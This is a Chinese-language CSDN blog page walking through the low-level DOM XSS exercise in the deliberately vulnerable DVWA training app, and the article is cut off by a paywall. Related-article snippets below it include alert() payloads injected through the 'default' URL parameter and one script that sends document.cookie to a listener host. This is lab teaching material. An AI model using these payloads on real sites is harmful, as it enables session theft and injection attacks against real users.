DVWA - XSS DOM (low)

最新推荐文章于 2024-04-02 16:16:00 发布
最新推荐文章于 2024-04-02 16:16:00 发布
阅读量392 收藏 1
点赞数
分类专栏： dvwa
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42630215/article/details/106549047
版权
本文介绍了DOM型XSS的基本概念，并通过DVWA的low级别实例，展示了如何利用document.write等属性触发XSS攻击。通过查看源代码和分析JavaScript执行，揭示了在没有防护措施的情况下，攻击者如何注入恶意脚本并执行。
摘要由CSDN通过智能技术生成

low级别

XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中，XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性，常常被分为第三种，这是一种基于DOM树的XSS。

可能触发DOM型XSS的属性：document.referer 属性window.name 属性location 属性innerHTML 属性documen.write 属性

1.查看源代码在这里插入图片描述
可以看到，前端使用 document.write() 动态生成页面，服务器端代码没有任何的保护性措施

2.这段JS代码是在本地执行的，获取本地输入的URL栏上的default参数再直接嵌入到Option标签中的，因此可以直接往default参数注入xss payload

http://127.0.0
最低0.47元/天 解锁文章
S1xTwe1ve
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用
7Riven's blog
11-27 1387
DOM型XSS Document Object Model 文本对象模型xss、可能是存储型也可能是反射型、只决定于输出地方 在反射型XSS中输入： <script>var img=document.createElement('img');img.src='http://192.168.232.130:88/log?'+escape(document.cookie);&...
DVWA 之 XSS（DOM）
RexHa的博客
10-06 2047
dvwa XSS（DOM）
一、详解 DVWA_DOM型XSS
在下小黄的博客
05-22 1621
第一篇，DVWA_DOM型XSS详解
DVWA DOM型XSS
scrawman的博客
02-27 368
前言 DVWA上的DOM型XSS与反射型和存储型XSS不同，页面上是没有输入的，所以要直接在URL上实施攻击 一、Low low级别的代码什么防护都没有，因此直接输入URL：http://192.168.44.1/DVWA/vulnerabilities/xss_d/?default=<script>alert('xss')</script> 二、Medium Medium级别的代码增加了检查机制，如果输入当中有“<script”就把default设为English阻止XS
DVWA XSS DOM
m0_56107268的博客
04-30 1024
DOM，全称Document Object Model，是一个平台和语言都中立的接口，可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM型XSS其实是一种特殊类型的反射型XSS，它是基于DOM文档对象模型的一种漏洞。 在网站页面中有许多页面的元素，当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象，接着生成各个子文档对象，每个页面元素对应一个文档对象，每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说，..
DVWA-master.zip
01-04
DVWA-master.zip文件包含了整个DVWA项目的源代码和相关资源，是学习和研究网络安全的理想工具。 1. **DVWA的结构与功能** DVWA由多个安全级别组成，包括“低”、“中”、“高”和“不可能”，每个级别都包含不同...
DVWA-master.7z 压缩包
09-14
这个"DVWA-master.7z"压缩包包含了完整的DVWA源代码和其他相关文件，用于在本地环境中搭建一个模拟的脆弱Web应用。 为了正确地使用这个压缩包，首先你需要下载它并使用解压缩工具（如7-Zip）将其解压。解压缩后，你...
DVWA----DOM型XSS攻击演练---亲测（微笑）
weixin_44034479的博客
07-07 823
原理： XSS的中文名称叫跨站脚本，是WEB漏洞中比较常见的一种。 特点：就是可以将恶意HTML/JavaScript代码注入到受害用户浏览的网页上，从而达到劫持用户会话的目的。 XSS根据恶意脚本的传递方式可以分为3种，分别为反射型、存储型、DOM型，前面两种恶意脚本都会经过服务器端然后返回给客户端，而DOM型不用将恶意脚本传输到服务器在返回客户端。 原理： DOM型XSS就是基于DOM文档对象模型的。对于浏览器来说，DOM文档就是一份XML文档，当有了这个标准的技术之后，通过JavaScript就可以轻
[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集
热门推荐
等风来
05-16 1万+
源代码未进行任何过滤复选框中的内容为可变参数：这段 PHP 代码主要是用于处理 GET 请求中的 default 参数，它包含了以下几个功能： 1.判断是否有 default 参数：通过 array_key_exists() 函数来判断 $_GET 超级全局变量中是否存在名为 default 的键，如果存在并且不为 null，则将其赋值给 $default 变量。 2.防止 XSS 攻击：使用 stripos() 函数查找 $default 中是否包含
DVWA之DOM型XSS
qq_39682037的博客
03-19 2387
DOM型XSS 是一种特殊类型的反射型XSS，它是基于DOM文档对象模型的一种漏洞，其触发不需要经过服务器端，也就是说，服务端的防御并不起作用。 Security Level: low 源码 <?php # No protections, anything goes ?> 分析 什么限制都没有，大胆尝试 进行下方的实验 发现在url的default写什么页面便生成什...
N12 DVWA DOM型XSS
尐猴子君ii的博客
08-26 252
一、概念 DOM型的XSS由于其特殊性，常常被分为第三种，这是一种基于DOM树的XSS。例如服务器端经常使用的document.baby.innerHtml等函数动态生成的Html页面，如果这些函数在引用某些变量时没有进行过滤或检查，就会产生DOM型的XSS。DOM型XSS可能是存储性，也可能是反射型。 二、Low级别 1.代码审计 可以看见，在后端并没有做任何处理。 2.尝试测试 前端只有选择四个选项块进行选择，我们点击select，发现上面的链接多了?default=English字段。 这里对def
dvwa学习笔记——dom型xss
weixin_45082914的博客
08-18 480
三、dom型xss DOM xss是基于dom文档对象模型，前端脚本通过dom动态修改页面，由于不与服务端进行交互，而且代码是可见的，从前端获取dom中的数据在本地执行。 常见的可以操纵dom的对象：URL，localtion,referrer等。 low源码： dvwa下的dom型xss页面的意思是选择一种语音，只在前端执行，且代码并未对default进行处理 漏洞分析与利用： 源码并未做任何安全防护措施，所以可以直接在url上构造攻击脚本 构造脚本： ...dvwa/vulnera
DVWA之XSS（DOM）
ANDTM的博客
06-08 314
DOM就是一个树状的模型，你可以编写Javascript代码根据dom一层一层的节点，去遍历/获取/修改对应的节点，对象，值。了解了这么一个知识点，你就会发现，其实dom xss并不复杂，他也属于反射型xss的一种(domxss取决于输出位置，并不取决于输出环境，因此domxss既有可能是反射型的，也有可能是存储型的)，简单去理解就是因为他输出点在DOM。dom - xss是通过url传入参数去控制触发的）
DVWA的Xss跨站脚本攻击（DOM型）
AZK707的博客
03-17 1247
目录 DOM型 一、初级 二、中级 三、高级 DOM型 一、初级 1. DOM型的xss与前两个xss类型不同，在于没有可以用户输入的位置了，只有下拉菜单可以选择。当我们提交选项后，发现URL有显示，所以我们就通过URL拼接恶意代码 2. 1）方法一：将default后的English替换掉 <script>alert('zky50_test01')</script> 2）方法二： </option></sele...
【DVWA系列】十、XSS(DOM) 基于DOM型的XSS（源码分析&漏洞利用）
Pluto.的博客
03-12 1426
文章目录DVWAXSS(DOM) 基于DOM的跨站脚本攻击一、Low 级别二、Medium 级别三、High 级别四、Impossible 级别 DVWA XSS(DOM) 基于DOM的跨站脚本攻击 一、Low 级别 没有任何的安全保护措施 下拉框选择语言提交后，在url栏中的default参数直接显示： 构造XSS代码，修改参数，成功执行脚本： ?default=<script>alert('/xss/')</script> 查看网页源代码，脚本插入到代码中，所以执行了
DVWA系列Web常见漏洞XSS(DOM)源码分析及漏洞利用
weixin_57641619的博客
05-24 1730
本期主要讲解什么是基于DOM的XSS漏洞，XSS(DOM)漏洞攻击实例，基于DOM的XSS漏洞产生的原因以及一般会在何处产生，最后讲解如何利用基于DOM的XSS漏洞(如XSS经典的窃取cookie等)。
DVWA靶场通关----(10) XSS(DOM)教程
最新发布
z09364517158的博客
04-02 650
客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM—based XSS漏洞。XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。document.referer属性。
玩转DVWA 之XSS DOM
key01362000的博客
09-29 1067
DVWA中XSS DOM攻击
XSS跨站脚本攻击入门实例--DVWA
chengfangang的专栏
03-03 7205
一、窃取Cookie       对于跨站的攻击方法，使用最多的莫过于cookie窃取了，获取cookie后直接借助“Live http headers、Tamper Data、Gressmonkey (Cookie injector)、Fiddler”等等工具将cookie修改为获取的cookie，这样即可获得权限。成功还有必要因素（同源策略+浏览器+form标签表单） 首先，我们在DVWA
DVWA-XSS(DOM)
08-25
DVWA-XSS(DOM)是指DVWA靶机学习中的一种XSS攻击，它利用了DOM（文档对象模型）中的漏洞。DOM是一个与平台、编程语言无关的接口，允许程序或脚本动态地访问和更新文档内容、结构和样式。而DVWA-XSS(DOM)攻击则是通过...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值